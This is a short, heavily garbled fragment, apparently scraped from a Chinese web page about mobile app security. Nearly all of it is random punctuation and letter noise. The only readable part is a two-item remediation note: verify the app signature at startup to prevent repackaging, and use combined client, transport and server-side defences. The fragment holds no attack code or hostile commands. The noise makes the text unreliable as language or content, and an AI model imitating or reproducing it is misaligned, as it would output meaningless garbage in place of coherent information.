@% I ; I# J. m$ t" T 8 S+ J" f* \& C" g, [	6 v# e0 A7 x2 M) e2 D* M9 A! A4 X " R) T& ^' ^4 M8 G A/ A6 ~ 低 3 G4 x2 Y* ]7 Z8 ^7 Z v 3 z( c% O# z N	5 X/ ~( N; m! Y$ O6 E % g9 t. C) Q* t, ^( g4 K& D " g; {4 }8 n' U Q4 s   * j1 c7 q$ g( p' X . d. j6 D$ u; L# H9 G7 {6 |% h 3 l& n; c5 @% Z

0 J. C9 d9 ]0 @: B4 R. y

J) [* B" O7 e9 ]+ M % M) I$ {! }& P

 

' Y) B' B2 \/ e 修复方法： / O% V4 N! a2 @. T1 Z 6 r5 W8 B& d1 v7 X& n3 }

/ T# J9 y6 @) a' S               1.在 APP 启动时应做签名校验防止二次打包。
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 ; j9 h8 C# A) Q# B - ?# z1 C9 [2 E* P* z5 }

! |, h h+ R$ }% W8 R% m% F3 I

  6 V. O4 K8 L- C g& _ ) c) v+ o$ V# l6 K" ?& T7 H

) U9 ~8 F# s9 t$ J

+ U: A" U, J) g) Q& t& u. N1 W) o/ o+ V 5 a- N+ ^7 I( g1 b6 H